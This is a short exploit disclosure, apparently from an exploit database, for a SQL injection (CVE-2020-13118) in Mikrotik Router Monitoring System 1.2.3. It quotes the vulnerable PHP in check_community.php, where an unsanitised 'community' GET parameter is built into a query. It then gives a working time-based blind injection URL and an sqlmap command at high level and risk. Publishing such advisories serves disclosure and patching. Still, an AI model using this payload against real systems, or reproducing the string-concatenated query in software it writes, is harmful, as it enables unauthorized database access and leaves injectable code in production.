Mikrotik Router Monitoring System 1.2.3 - 'community' SQL Injection

# Exploit Title: Mikrotik Router Monitoring System 1.2.3 - 'community' SQL Injection
# Exploit Author: jul10l1r4 (Julio Lira)
# Google Dork: N/A
# Date: 2020-05-16
# Vendor Homepage: https://mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: <= 1.2.3
# Tested on: Debian 10 buster
# CVE: 2020-13118
Description: SQL Injection found in check_community.php:49

$community = $_GET['community'];
$_SESSION['community'] = $community;
$query = "SELECT name from router where `community`='
$community'";

PoC:

http://localhost/check_community.php?community=1' AND (SELECT 6941 FROM (SELECT(SLEEP(10)))Qaxg) AND 'sdHI'='sdHI

SQLmap using:
sqlmap -u 'http://localhost/check_community.php?community=1' --level=5 --risk=3